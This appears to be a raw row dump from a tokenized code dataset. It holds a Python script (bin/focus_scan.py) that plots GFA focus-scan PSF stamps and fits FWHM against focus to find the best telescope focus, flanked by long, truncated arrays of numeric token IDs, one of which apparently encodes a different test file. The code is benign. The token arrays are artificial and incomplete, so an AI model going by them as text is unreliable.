362, 580, 29961, 29941, 29900, 29900, 3816, 29953, 29929, 29941, 29962, 847, 29871, 29896, 29872, 29896, 29945, 29892, 448, 29953, 29889, 29945, 29929, 29900, 29947, 29900, 29900, 29929, 29953, 29945, 29953, 29900, 29946, 29955, 29945, 29900, 29892, 29871, 29946, 29897, 13, 13, 1678, 822, 1243, 29918, 657, 29918, 27090, 29918, 4287, 4336, 29918, 535, 1760, 29878, 362, 29898, 1311, 1125, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 13, 9651, 1583, 29889, 29890, 29920, 29889, 657, 29918, 27090, 29918, 4287, 4336, 29918, 535, 1760, 29878, 362, 580, 29961, 29953, 29900, 29900, 3816, 29896, 29906, 29900, 29962, 847, 29871, 29896, 29872, 29906, 29896, 29892, 13, 632, 29953, 29889, 29955, 29955, 29941, 29941, 29929, 29946, 29953, 29906, 29953, 29955, 29953, 29955, 29945, 29945, 29945, 29892, 13, 632, 29946, 29892, 13, 4706, 1723, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 13, 9651, 1583, 29889, 29890, 29920, 29889, 657, 29918, 27090, 29918, 4287, 4336, 29918, 535, 1760, 29878, 362, 580, 29961, 29945, 29900, 29900, 3816, 29947, 29929, 29906, 29962, 847, 29871, 29896, 29872, 29906, 29896, 29892, 13, 9651, 448, 29929, 29889, 29896, 29941, 29953, 29947, 29900, 29941, 29947, 29946, 29945, 29955, 29946, 29896, 29955, 29955, 29955, 29892, 13, 632, 29946, 29892, 13, 4706, 1723, 13, 13, 1678, 822, 1243, 29918, 657, 29918, 11967, 29885, 29918, 29890, 4167, 29898, 1311, 1125, 13, 4706, 3829, 353, 2254, 9144, 29898, 359, 29889, 2084, 29889, 7122, 29898, 29925, 962, 271, 1885, 3057, 29889, 18267, 29918, 24483, 29918, 9464, 29892, 376, 2095, 29873, 2065, 2390, 29914, 23905, 29918, 1526, 29899, 29896, 29906, 29896, 29900, 29941, 29889, 3126, 5783, 13, 4706, 269, 5824, 353, 2254, 9144, 29898, 359, 29889, 2084, 29889, 7122, 29898, 29925, 962, 271, 1885, 3057, 29889, 18267, 29918, 24483, 29918, 9464, 29892, 376, 2095, 29873, 2065, 2390, 29914, 29881, 615, 29918, 5824, 29918, 11967, 29918, 1220, 29889, 3126, 5783, 13, 4706, 413, 9748, 353, 518, 29895, 29886, 29889, 1154, 29918, 1111, 4339, 363, 413, 29886, 297, 269, 5824, 29889, 29895, 9748, 29962, 13, 4706, 11073, 29918, 8977, 353, 426, 29895, 29901, 269, 5824, 29889, 21134, 29918, 8977, 29961, 29895, 1822, 1154, 29918, 1111, 4339, 363, 413, 297, 269, 5824, 29889, 21134, 29918, 8977, 29913, 13, 4706, 363, 413, 415, 29918, 1220, 29892, 11073, 29918, 8977, 297, 14319, 4197, 8516, 29892, 269, 5824, 29889, 29895, 9748, 29892, 413, 9748, 1402, 518, 8516, 29892, 269, 5824, 29889, 21134, 29918, 8977, 29892, 11073, 29918, 8977, 29962, 1125, 13, 9651, 269, 5824, 29918, 29890, 2065, 353, 1583, 29889, 29890, 29920, 29918, 29890, 4167, 29889, 657, 29918, 11967, 29885, 29918, 29890, 4167, 29898, 23905, 29892, 448, 29945, 29889, 29906, 29945, 29906, 29900, 29946, 29945, 29946, 29947, 29892, 413, 415, 29918, 1220, 29922, 29895, 415, 29918, 1220, 29892, 11073, 29918, 8977, 29922, 21134, 29918, 8977, 29897, 13, 9651, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 2435, 29898, 29879, 5824, 29918, 29890, 2065, 29889, 29890, 4167, 29961, 5592, 262, 29889, 786, 11724, 29871, 29906, 29900, 29897, 13, 9651, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 2435, 29898, 29879, 5824, 29918, 29890, 2065, 29889, 29890, 4167, 29961, 5592, 262, 29889, 786, 3816, 29896, 11724, 29871, 29896, 29946, 29941, 29897, 13, 13, 1678, 396, 822, 1243, 29918, 3198, 29918, 5753, 29918, 29890, 2065, 29918, 29890, 4167, 29898, 1311, 1125, 13, 1678, 396, 268, 3829, 353, 2254, 9144, 29898, 359, 29889, 2084, 29889, 7122, 29898, 29925, 962, 271, 1885, 3057, 29889, 18267, 29918, 24483, 29918, 9464, 5501, 2095, 29873, 2065, 2390, 29914, 23905, 29918, 1526, 29899, 29896, 29906, 29896, 29900, 29941, 29889, 3126, 8785, 13, 1678, 396, 268, 269, 5824, 353, 2254, 9144, 29898, 359, 29889, 2084, 29889, 7122, 29898, 29925, 962, 271, 1885, 3057, 29889, 18267, 29918, 24483, 29918, 9464, 5501, 2095, 29873, 2065, 2390, 29914, 29881, 615, 29918, 5824, 29918, 11967, 29918, 1220, 29889, 3126, 8785, 13, 1678, 396, 268, 269, 5824, 29918, 29890, 2065, 353, 1583, 29889, 29890, 29920, 29918, 29890, 4167, 29889, 657, 29918, 11967, 29885, 29918, 29890, 4167, 29898, 23905, 6653, 29945, 29889, 29906, 29945, 29906, 29900, 29946, 29945, 29946, 29947, 29897, 13, 1678, 396, 268, 27760, 29892, 556, 29878, 29918, 29894, 5838, 29892, 556, 29878, 29918, 29883, 5838, 29892, 25442, 353, 8922, 29873, 2065, 2390, 2744, 14997, 3298, 29889, 3198, 29918, 5753, 29918, 29890, 2065, 29918, 29890, 4167, 29898, 29879, 5824, 29918, 29890, 2065, 29892, 29879, 5824, 29897, 13, 1678, 396, 268, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 29725, 29961, 29906, 1402, 29929, 29889, 29896, 29953, 29947, 29945, 29896, 29955, 29945, 29900, 29872, 29899, 29900, 29945, 29897, 13, 1678, 396, 268, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 556, 29878, 29918, 29894, 5838, 1839, 29968, 29899, 29950, 7464, 29900, 29889, 29896, 29947, 29906, 29953, 29900, 29906, 29955, 29941, 29945, 29906, 29896, 29900, 29946, 29955, 29947, 29953, 29906, 29897, 13, 1678, 396, 268, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 556, 29878, 29918, 29883, 5838, 1839, 29924, 29899, 29968, 7464, 29900, 29889, 29900, 29955, 29896, 29945, 29945, 29906, 29953, 29953, 29929, 29929, 29947, 29896, 29941, 29945, 29953, 29929, 29947, 29896, 29897, 13, 1678, 396, 268, 1583, 29889, 9294, 8824, 29898, 25442, 29897, 13, 13, 1678, 822, 1243, 29918, 657, 29918, 8835, 29918, 29881, 359, 29898, 1311, 1125, 13, 4706, 3829, 353, 2254, 9144, 29898, 359, 29889, 2084, 29889, 7122, 29898, 29925, 962, 271, 1885, 3057, 29889, 18267, 29918, 24483, 29918, 9464, 29892, 376, 2095, 29873, 2065, 2390, 29914, 23905, 29918, 1526, 29899, 29896, 29906, 29896, 29900, 29941, 29889, 3126, 5783, 13, 4706, 14965, 359, 353, 1583, 29889, 29890, 29920, 29918, 786, 29889, 657, 29918, 8835, 29918, 29881, 359, 29898, 23905, 29892, 1583, 29889, 29890, 29920, 29918, 28012, 29897, 13, 4706, 805, 1144, 353, 1051, 29898, 2252, 359, 29889, 21518, 1907, 29889, 8149, 3101, 13, 4706, 1583, 29889, 9294, 797, 29898, 5592, 262, 29889, 3204, 29892, 805, 1144, 29897, 13, 4706, 1583, 29889, 9294, 797, 29898, 5592, 262, 29889, 786, 29892, 805, 1144, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 13, 9651, 14965, 359, 29889, 657, 29918, 1028, 29881, 29918, 29881, 359, 580, 29961, 2816, 29890, 2410, 1542, 29889, 29886, 1822, 21518, 1907, 29961, 5592, 262, 29889, 786, 3816, 29941, 29896, 29941, 29946, 1402, 13, 632, 29946, 29941, 29889, 29947, 29941, 29929, 29906, 29941, 29900, 29896, 29900, 29900, 29929, 29929, 29929, 29929, 29929, 29896, 29892, 13, 4706, 1723, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 13, 9651, 14965, 359, 29889, 657, 29918, 1028, 29881, 29918, 29881, 359, 580, 29961, 2816, 29890, 2410, 1542, 29889, 29879, 1822, 21518, 1907, 29961, 5592, 262, 29889, 3204, 3816, 29955, 29896, 29953, 1402, 13, 632, 29953, 29889, 29945, 29941, 29947, 29941, 29906, 29953, 29947, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29896, 29892, 13, 4706, 1723, 13, 13, 1678, 822, 1243, 29918, 1062, 10291, 29898, 1311, 1125, 13, 4706, 921, 353, 1583, 29889, 29890, 29920, 29889, 657, 29918, 1062, 10291, 703, 344, 774, 29872, 384, 1159, 13, 4706, 1583, 29889, 9294, 9843, 29898, 29916, 3366, 13318, 3108, 3366, 4287, 4336, 29918, 1853, 12436, 376, 29876, 1159, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 29916, 3366, 29886, 3108, 3366, 1767, 12436, 29871, 29896, 29906, 29945, 29945, 29889, 29941, 29953, 29945, 29892, 29871, 29906, 29897, 13, 4706, 1583, 29889, 9294, 9843, 29898, 29916, 3366, 29876, 3108, 3366, 275, 28467, 293, 12436, 5852, 29897, 13, 4706, 1583, 29889, 9294, 9843, 29898, 29916, 3366, 29876, 3108, 3366, 12863, 1535, 12436, 29871, 29953, 29900, 29900, 29897, 13, 13, 4706, 921, 353, 1583, 29889, 29890, 29920, 29889, 657, 29918, 1062, 10291, 703, 9876, 613, 5256, 675, 29922, 8824, 29892, 1375, 29918, 7382, 29922, 29946, 29900, 29900, 29892, 1375, 29918, 29881, 459, 292, 29922, 29896, 29872, 29906, 29900, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 29916, 3366, 13318, 3108, 3366, 1767, 12436, 29871, 29900, 29889, 29896, 29900, 29945, 29892, 29871, 29906, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 29916, 3366, 29876, 3108, 3366, 1767, 12436, 29871, 29900, 29889, 29896, 29941, 29929, 29892, 29871, 29906, 29897, 13, 4706, 1583, 29889, 9294, 9843, 29898, 29916, 3366, 29886, 3108, 3366, 12863, 1535, 12436, 29871, 29946, 29900, 29900, 29897, 13, 4706, 1583, 29889, 9294, 9843, 29898, 29916, 3366, 29876, 3108, 3366, 275, 28467, 293, 12436, 7700, 29897, 13, 13, 1678, 822, 1243, 29918, 517, 29918, 3166, 29918, 8977, 29898, 1311, 1125, 13, 4706, 289, 509, 29918, 8977, 353, 1583, 29889, 29890, 509, 29889, 294, 29918, 8977, 580, 13, 4706, 269, 353, 4390, 29889, 29881, 17204, 29898, 29890, 509, 29918, 8977, 29897, 13, 4706, 1583, 29889, 9294, 3624, 3664, 8516, 29898, 29879, 29897, 13, 4706, 1583, 29889, 9294, 3624, 3664, 8516, 29898, 29890, 509, 29918, 8977, 3366, 5824, 20068, 13, 13, 13, 361, 4770, 978, 1649, 1275, 376, 1649, 3396, 1649, 1115, 13, 1678, 443, 27958, 29889, 3396, 580, 13, 2 ]
bin/focus_scan.py
desihub/desicmx
3
928
<gh_stars>1-10 #!/usr/bin/env python import astropy.io.fits as fits import numpy as np import os import matplotlib.pyplot as plt import argparse def _fname(expid, night, basedir='/n/home/datasystems/users/ameisner/reduced/focus', ccds=False): fname = basedir + '/' + night + '/' + str(expid).zfill(8) + '/gfa-' + str(expid).zfill(8) + '_psfs.fits' if ccds: fname = fname.replace('_psfs.fits', '_ccds.fits') return fname def _actual_expid_list(expids, night, basedir='/n/home/datasystems/users/ameisner/reduced/focus'): keep = [] for i, expid in enumerate(expids): fname = _fname(expid, night, basedir=basedir, ccds=True) if not os.path.exists(fname): continue tab = fits.getdata(fname) # try to handle case where observer accidentally lists the 'setup focus scan' # 1 second exposure as the start of the focus scan if (i == 0) & (tab[0]['EXPTIME'] < 1.1): print('SKIPPING DUMMY SETUP EXPOSURE') continue program = tab[0]['PROGRAM'].strip() if program != 'focus scan': break keep.append(expid) return keep def focus_plots(night, expids, basedir='/n/home/datasystems/users/ameisner/reduced/focus', outdir='/n/home/desiobserver/focus_scan_pngs', no_popups=False): expids = _actual_expid_list(expids, night, basedir=basedir) if len(expids) == 0: print('NO FOCUS SCAN EXPOSURES TO ANALYZE ??') assert(False) plt.figure(1, figsize=(12.0*(len(expids)/7.0), 9)) extnames = ['GUIDE0', 'GUIDE2', 'GUIDE3', 'GUIDE5', 'GUIDE7', 'GUIDE8'] focus_z = [] fwhm_pix = [] # PSF stamps plot plt.subplots_adjust(hspace=0.01, wspace=0.01) for i, expid in enumerate(expids): fname = _fname(expid, night, basedir=basedir) print(fname) fname_ccds = _fname(expid, night, basedir=basedir, ccds=True) if not os.path.exists(fname): continue ccds = fits.getdata(fname_ccds) if np.sum(np.isfinite(ccds['PSF_FWHM_PIX'])) != 0: fwhm_pix.append(np.median(ccds['PSF_FWHM_PIX'][np.isfinite(ccds['PSF_FWHM_PIX'])])) focus_z.append(float(ccds[0]['FOCUS'].split(',')[2])) hdul = fits.open(fname) extnames_present = [hdu.header['EXTNAME'] for hdu in hdul] for j, extname in enumerate(extnames): if extname not in extnames_present: continue print(i, j) plt.subplot(6, len(expids), len(expids)*j + i + 1) plt.xticks([]) plt.yticks([]) im = fits.getdata(fname, extname=extname) plt.imshow(im, interpolation='nearest', origin='lower', cmap='gray_r', vmin=0.01) plt.text(5, 44, str(expid) + '; ' + extname, color='r', fontsize=9) plt.text(10, 3.5, 'z = ' + str(int(float(ccds[0]['FOCUS'].split(',')[2]))), color='r') if np.isfinite(ccds[j]['XCENTROID_PSF']) and np.isfinite(ccds[j]['YCENTROID_PSF']): plt.scatter([ccds[j]['XCENTROID_PSF']], [ccds[j]['YCENTROID_PSF']], marker='.', c='r') expid_min = int(np.min(expids)) print(focus_z) print(fwhm_pix) plt.savefig(os.path.join(outdir, 'stamps_focus_scan-' + str(expid_min).zfill(8)+'.png'), bbox_inches='tight') #plt.cla() plt.figure(200) asec_per_pix = 0.205 focus_z = np.array(focus_z) fwhm_asec = np.array(fwhm_pix)*asec_per_pix plt.scatter(focus_z, fwhm_asec) plt.xlabel('focus z (micron)') plt.ylabel('FWHM (asec)') coeff = np.polyfit(focus_z, fwhm_asec, 2) xsamp = np.arange(np.min(focus_z), np.max(focus_z)) ysamp = coeff[0]*(np.power(xsamp, 2)) + coeff[1]*xsamp + coeff[2] plt.title('focus scan starting with EXPID = ' + str(expid_min)) plt.plot(xsamp, ysamp) zmin = -coeff[1]/(2*coeff[0]) min_fwhm_fit_asec = coeff[0]*(zmin**2) + coeff[1]*zmin + coeff[2] yrange = [np.min(fwhm_asec), np.max(fwhm_asec)] plt.text(focus_z[2], yrange[0] + 0.8*(yrange[1]-yrange[0]), 'best FWHM (meas) : ' + '{:.2f}'.format(np.min(fwhm_asec))) plt.text(focus_z[2], yrange[0] + 0.7*(yrange[1]-yrange[0]), 'best FWHM (fit) : ' + '{:.2f}'.format(min_fwhm_fit_asec)) plt.text(focus_z[2], yrange[0] + 0.9*(yrange[1]-yrange[0]), 'best focus : ' + str(int(np.round(zmin)))) plt.savefig(os.path.join(outdir, 'fit_focus_scan-' + str(expid_min).zfill(8) + '.png'), bbox_inches='tight') if not no_popups: plt.show() def _test(): night = '20200131' expids = 45446 + np.arange(7) focus_plots(night, expids, basedir='/project/projectdirs/desi/users/ameisner/GFA/run/psf_flux_weighted_centroid', outdir='.') def _test_missing_cam(): night = '20200131' expids = 45485 + np.arange(7) focus_plots(night, expids, basedir='/project/projectdirs/desi/users/ameisner/GFA/run/psf_flux_weighted_centroid') if __name__ == "__main__": descr = 'GFA focus sequence plots/analysis' parser = argparse.ArgumentParser(description=descr) parser.add_argument('first_expid', type=int, nargs=1) parser.add_argument('night', type=str, nargs=1) parser.add_argument('--basedir', default='/n/home/datasystems/users/ameisner/reduced/focus', type=str, help='base directory for GFA reductions') parser.add_argument('--outdir', default='/n/home/desiobserver/focus_scan_pngs', type=str, help='output directory for plot PNGs') parser.add_argument('--no_popups', default=False, action='store_true', help='write PNGs without popping up plot windows') args = parser.parse_args() expids = args.first_expid + np.arange(16, dtype=int) print(expids) print(args.night[0]) print(args.basedir) outdir = args.outdir if os.path.exists(args.outdir) else '.' focus_plots(args.night[0], expids, basedir=args.basedir, outdir=outdir, no_popups=args.no_popups)
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 29937, 14708, 4855, 29914, 2109, 29914, 6272, 3017, 13, 13, 5215, 8717, 14441, 29889, 601, 29889, 29888, 1169, 408, 23994, 13, 5215, 12655, 408, 7442, 13, 5215, 2897, 13, 5215, 22889, 29889, 2272, 5317, 408, 14770, 13, 5215, 1852, 5510, 13, 13, 1753, 903, 29888, 978, 29898, 4548, 333, 29892, 4646, 29892, 29871, 13, 965, 2729, 381, 2433, 29914, 29876, 29914, 5184, 29914, 14538, 973, 29879, 29914, 7193, 29914, 420, 275, 1089, 29914, 9313, 1133, 29914, 18037, 742, 13, 965, 274, 2252, 29879, 29922, 8824, 1125, 13, 13, 965, 285, 978, 353, 2729, 381, 718, 8207, 29915, 718, 4646, 718, 8207, 29915, 718, 851, 29898, 4548, 333, 467, 29920, 5589, 29898, 29947, 29897, 718, 8207, 29887, 5444, 29899, 29915, 718, 851, 29898, 4548, 333, 467, 29920, 5589, 29898, 29947, 29897, 718, 22868, 567, 5847, 29889, 29888, 1169, 29915, 268, 13, 13, 965, 565, 274, 2252, 29879, 29901, 13, 1669, 285, 978, 353, 285, 978, 29889, 6506, 877, 29918, 567, 5847, 29889, 29888, 1169, 742, 22868, 617, 6289, 29889, 29888, 1169, 1495, 13, 13, 965, 736, 285, 978, 13, 13, 1753, 903, 19304, 29918, 4548, 333, 29918, 1761, 29898, 4548, 4841, 29892, 4646, 29892, 2729, 381, 2433, 29914, 29876, 29914, 5184, 29914, 14538, 973, 29879, 29914, 7193, 29914, 420, 275, 1089, 29914, 9313, 1133, 29914, 18037, 29374, 13, 13, 1678, 3013, 353, 5159, 13, 1678, 363, 474, 29892, 1518, 333, 297, 26985, 29898, 4548, 4841, 1125, 13, 4706, 285, 978, 353, 903, 29888, 978, 29898, 4548, 333, 29892, 4646, 29892, 2729, 381, 29922, 6707, 381, 29892, 274, 2252, 29879, 29922, 5574, 29897, 13, 4706, 565, 451, 2897, 29889, 2084, 29889, 9933, 29898, 29888, 978, 1125, 13, 9651, 6773, 13, 4706, 4434, 353, 23994, 29889, 657, 1272, 29898, 29888, 978, 29897, 13, 4706, 396, 1018, 304, 4386, 1206, 988, 22944, 11423, 635, 8857, 278, 525, 14669, 8569, 12812, 29915, 13, 4706, 396, 29871, 29896, 1473, 14060, 545, 408, 278, 1369, 310, 278, 8569, 12812, 13, 4706, 565, 313, 29875, 1275, 29871, 29900, 29897, 669, 313, 3891, 29961, 29900, 22322, 5746, 7982, 8890, 2033, 529, 29871, 29896, 29889, 29896, 1125, 13, 9651, 1596, 877, 16033, 5690, 29925, 4214, 360, 5005, 17870, 11368, 4897, 8528, 24815, 11499, 1495, 13, 9651, 6773, 13, 13, 4706, 1824, 353, 4434, 29961, 29900, 22322, 8618, 29954, 25058, 13359, 17010, 580, 13, 13, 4706, 565, 1824, 2804, 525, 18037, 12812, 2396, 13, 9651, 2867, 13, 13, 4706, 3013, 29889, 4397, 29898, 4548, 333, 29897, 13, 13, 1678, 736, 3013, 13, 13, 1753, 8569, 29918, 26762, 29898, 11147, 29892, 1518, 4841, 29892, 13, 1669, 2729, 381, 2433, 29914, 29876, 29914, 5184, 29914, 14538, 973, 29879, 29914, 7193, 29914, 420, 275, 1089, 29914, 9313, 1133, 29914, 18037, 742, 13, 1669, 714, 3972, 2433, 29914, 29876, 29914, 5184, 29914, 2783, 601, 29890, 2974, 29914, 18037, 29918, 16192, 29918, 2732, 29879, 742, 694, 29918, 7323, 14340, 29922, 8824, 1125, 13, 13, 1678, 1518, 4841, 353, 903, 19304, 29918, 4548, 333, 29918, 1761, 29898, 4548, 4841, 29892, 4646, 29892, 2729, 381, 29922, 6707, 381, 29897, 13, 13, 1678, 565, 7431, 29898, 4548, 4841, 29897, 1275, 29871, 29900, 29901, 13, 4706, 1596, 877, 6632, 18322, 29907, 3308, 12314, 2190, 8528, 24815, 11499, 29903, 7495, 13764, 1964, 29979, 10721, 13626, 1495, 13, 4706, 4974, 29898, 8824, 29897, 13, 13, 1678, 14770, 29889, 4532, 29898, 29896, 29892, 2537, 2311, 7607, 29896, 29906, 29889, 29900, 16395, 2435, 29898, 4548, 4841, 6802, 29955, 29889, 29900, 511, 29871, 29929, 876, 13, 1678, 1294, 7039, 353, 6024, 29954, 11150, 29923, 29900, 742, 525, 29954, 11150, 29923, 29906, 742, 525, 29954, 11150, 29923, 29941, 742, 525, 29954, 11150, 29923, 29945, 742, 525, 29954, 11150, 29923, 29955, 742, 525, 29954, 11150, 29923, 29947, 2033, 13, 13, 1678, 8569, 29918, 29920, 353, 5159, 13, 1678, 285, 1332, 29885, 29918, 29886, 861, 353, 5159, 13, 13, 1678, 396, 11323, 29943, 380, 15092, 6492, 13, 1678, 14770, 29889, 1491, 26762, 29918, 328, 5143, 29898, 14158, 29922, 29900, 29889, 29900, 29896, 29892, 281, 3493, 29922, 29900, 29889, 29900, 29896, 29897, 13, 1678, 363, 474, 29892, 1518, 333, 297, 26985, 29898, 4548, 4841, 1125, 13, 4706, 285, 978, 353, 903, 29888, 978, 29898, 4548, 333, 29892, 4646, 29892, 2729, 381, 29922, 6707, 381, 29897, 13, 4706, 1596, 29898, 29888, 978, 29897, 13, 4706, 285, 978, 29918, 617, 6289, 353, 903, 29888, 978, 29898, 4548, 333, 29892, 4646, 29892, 2729, 381, 29922, 6707, 381, 29892, 274, 2252, 29879, 29922, 5574, 29897, 13, 4706, 565, 451, 2897, 29889, 2084, 29889, 9933, 29898, 29888, 978, 1125, 13, 9651, 6773, 13, 4706, 274, 2252, 29879, 353, 23994, 29889, 657, 1272, 29898, 29888, 978, 29918, 617, 6289, 29897, 13, 13, 4706, 565, 7442, 29889, 2083, 29898, 9302, 29889, 4492, 262, 568, 29898, 617, 6289, 1839, 7024, 29943, 29918, 29943, 25039, 29924, 29918, 2227, 29990, 25901, 2804, 29871, 29900, 29901, 13, 9651, 285, 1332, 29885, 29918, 29886, 861, 29889, 4397, 29898, 9302, 29889, 2168, 713, 29898, 617, 6289, 1839, 7024, 29943, 29918, 29943, 25039, 29924, 29918, 2227, 29990, 2033, 29961, 9302, 29889, 4492, 262, 568, 29898, 617, 6289, 1839, 7024, 29943, 29918, 29943, 25039, 29924, 29918, 2227, 29990, 2033, 4638, 876, 13, 9651, 8569, 29918, 29920, 29889, 4397, 29898, 7411, 29898, 617, 6289, 29961, 29900, 22322, 5800, 29907, 3308, 13359, 5451, 29317, 29861, 29906, 12622, 13, 632, 13, 4706, 298, 29881, 352, 353, 23994, 29889, 3150, 29898, 29888, 978, 29897, 13, 4706, 1294, 7039, 29918, 6338, 353, 518, 29882, 700, 29889, 6672, 1839, 12194, 5813, 2033, 363, 298, 700, 297, 298, 29881, 352, 29962, 13, 4706, 363, 432, 29892, 1294, 978, 297, 26985, 29898, 1062, 7039, 1125, 13, 9651, 565, 1294, 978, 451, 297, 1294, 7039, 29918, 6338, 29901, 13, 18884, 6773, 13, 9651, 1596, 29898, 29875, 29892, 432, 29897, 13, 9651, 14770, 29889, 1491, 5317, 29898, 29953, 29892, 7431, 29898, 4548, 4841, 511, 7431, 29898, 4548, 4841, 11877, 29926, 718, 474, 718, 259, 29896, 29897, 13, 9651, 14770, 29889, 486, 7358, 4197, 2314, 13, 9651, 14770, 29889, 3637, 7358, 4197, 2314, 13, 9651, 527, 353, 23994, 29889, 657, 1272, 29898, 29888, 978, 29892, 1294, 978, 29922, 1062, 978, 29897, 13, 9651, 14770, 29889, 326, 4294, 29898, 326, 29892, 29694, 2433, 28502, 342, 742, 3978, 2433, 13609, 742, 274, 1958, 2433, 21012, 29918, 29878, 742, 325, 1195, 29922, 29900, 29889, 29900, 29896, 29897, 13, 9651, 14770, 29889, 726, 29898, 29945, 29892, 29871, 29946, 29946, 29892, 851, 29898, 4548, 333, 29897, 718, 21921, 525, 718, 1294, 978, 29892, 2927, 2433, 29878, 742, 4079, 2311, 29922, 29929, 29897, 13, 9651, 14770, 29889, 726, 29898, 29896, 29900, 29892, 29871, 29941, 29889, 29945, 29892, 525, 29920, 353, 525, 718, 851, 29898, 524, 29898, 7411, 29898, 617, 6289, 29961, 29900, 22322, 5800, 29907, 3308, 13359, 5451, 29317, 29861, 29906, 12622, 511, 2927, 2433, 29878, 1495, 13, 632, 13, 9651, 565, 7442, 29889, 4492, 262, 568, 29898, 617, 6289, 29961, 29926, 22322, 29990, 29907, 3919, 1672, 1367, 29918, 7024, 29943, 11287, 322, 7442, 29889, 4492, 262, 568, 29898, 617, 6289, 29961, 29926, 22322, 29979, 29907, 3919, 1672, 1367, 29918, 7024, 29943, 2033, 1125, 13, 18884, 14770, 29889, 1557, 2620, 4197, 617, 6289, 29961, 29926, 22322, 29990, 29907, 3919, 1672, 1367, 29918, 7024, 29943, 2033, 1402, 518, 617, 6289, 29961, 29926, 22322, 29979, 29907, 3919, 1672, 1367, 29918, 7024, 29943, 2033, 1402, 17456, 2433, 29889, 742, 274, 2433, 29878, 1495, 13, 13, 268, 13, 1678, 1518, 333, 29918, 1195, 353, 938, 29898, 9302, 29889, 1195, 29898, 4548, 4841, 876, 13, 13, 1678, 1596, 29898, 18037, 29918, 29920, 29897, 13, 1678, 1596, 29898, 29888, 1332, 29885, 29918, 29886, 861, 29897, 13, 13, 1678, 14770, 29889, 7620, 1003, 29898, 359, 29889, 2084, 29889, 7122, 29898, 449, 3972, 29892, 525, 303, 15092, 29918, 18037, 29918, 16192, 29899, 29915, 718, 851, 29898, 4548, 333, 29918, 1195, 467, 29920, 5589, 29898, 29947, 7240, 4286, 2732, 5477, 289, 1884, 29918, 262, 6609, 2433, 29873, 523, 1495, 13, 1678, 396, 572, 29873, 29889, 16398, 580, 13, 13, 1678, 14770, 29889, 4532, 29898, 29906, 29900, 29900, 29897, 13, 268, 13, 1678, 263, 3471, 29918, 546, 29918, 29886, 861, 353, 29871, 29900, 29889, 29906, 29900, 29945, 13, 13, 1678, 8569, 29918, 29920, 353, 7442, 29889, 2378, 29898, 18037, 29918, 29920, 29897, 13, 1678, 285, 1332, 29885, 29918, 559, 29883, 353, 7442, 29889, 2378, 29898, 29888, 1332, 29885, 29918, 29886, 861, 11877, 559, 29883, 29918, 546, 29918, 29886, 861, 13, 1678, 14770, 29889, 1557, 2620, 29898, 18037, 29918, 29920, 29892, 285, 1332, 29885, 29918, 559, 29883, 29897, 13, 1678, 14770, 29889, 29916, 1643, 877, 18037, 503, 313, 13076, 1617, 29897, 1495, 13, 1678, 14770, 29889, 29891, 1643, 877, 29943, 25039, 29924, 313, 559, 29883, 29897, 1495, 13, 13, 1678, 1302, 12352, 353, 7442, 29889, 22678, 9202, 29898, 18037, 29918, 29920, 29892, 285, 1332, 29885, 29918, 559, 29883, 29892, 29871, 29906, 29897, 13, 13, 1678, 14492, 1160, 353, 7442, 29889, 279, 927, 29898, 9302, 29889, 1195, 29898, 18037, 29918, 29920, 511, 7442, 29889, 3317, 29898, 18037, 29918, 29920, 876, 13, 1678, 343, 29879, 1160, 353, 1302, 12352, 29961, 29900, 14178, 29898, 9302, 29889, 13519, 29898, 10351, 1160, 29892, 29871, 29906, 876, 718, 1302, 12352, 29961, 29896, 14178, 10351, 1160, 718, 1302, 12352, 29961, 29906, 29962, 13, 13, 1678, 14770, 29889, 3257, 877, 18037, 12812, 6257, 411, 8528, 29925, 1367, 353, 525, 718, 851, 29898, 4548, 333, 29918, 1195, 876, 13, 13, 268, 13, 1678, 14770, 29889, 5317, 29898, 10351, 1160, 29892, 343, 29879, 1160, 29897, 13, 13, 1678, 503, 1195, 353, 448, 1111, 12352, 29961, 29896, 29962, 14571, 29906, 29930, 1111, 12352, 29961, 29900, 2314, 13, 13, 1678, 1375, 29918, 29888, 1332, 29885, 29918, 9202, 29918, 559, 29883, 353, 1302, 12352, 29961, 29900, 14178, 29898, 29920, 1195, 1068, 29906, 29897, 718, 1302, 12352, 29961, 29896, 14178, 29920, 1195, 718, 1302, 12352, 29961, 29906, 29962, 13, 268, 13, 1678, 343, 3881, 353, 518, 9302, 29889, 1195, 29898, 29888, 1332, 29885, 29918, 559, 29883, 511, 7442, 29889, 3317, 29898, 29888, 1332, 29885, 29918, 559, 29883, 4638, 13, 1678, 14770, 29889, 726, 29898, 18037, 29918, 29920, 29961, 29906, 1402, 343, 3881, 29961, 29900, 29962, 718, 29871, 29900, 29889, 29947, 16395, 29891, 3881, 29961, 29896, 29962, 29899, 29891, 3881, 29961, 29900, 11724, 525, 13318, 383, 25039, 29924, 313, 1004, 294, 29897, 584, 525, 718, 22372, 29901, 29889, 29906, 29888, 29913, 4286, 4830, 29898, 9302, 29889, 1195, 29898, 29888, 1332, 29885, 29918, 559, 29883, 4961, 13, 1678, 14770, 29889, 726, 29898, 18037, 29918, 29920, 29961, 29906, 1402, 343, 3881, 29961, 29900, 29962, 718, 29871, 29900, 29889, 29955, 16395, 29891, 3881, 29961, 29896, 29962, 29899, 29891, 3881, 29961, 29900, 11724, 525, 13318, 383, 25039, 29924, 313, 9202, 29897, 584, 525, 718, 22372, 29901, 29889, 29906, 29888, 29913, 4286, 4830, 29898, 1195, 29918, 29888, 1332, 29885, 29918, 9202, 29918, 559, 29883, 876, 13, 1678, 14770, 29889, 726, 29898, 18037, 29918, 29920, 29961, 29906, 1402, 343, 3881, 29961, 29900, 29962, 718, 29871, 29900, 29889, 29929, 16395, 29891, 3881, 29961, 29896, 29962, 29899, 29891, 3881, 29961, 29900, 11724, 525, 13318, 8569, 584, 525, 718, 851, 29898, 524, 29898, 9302, 29889, 14486, 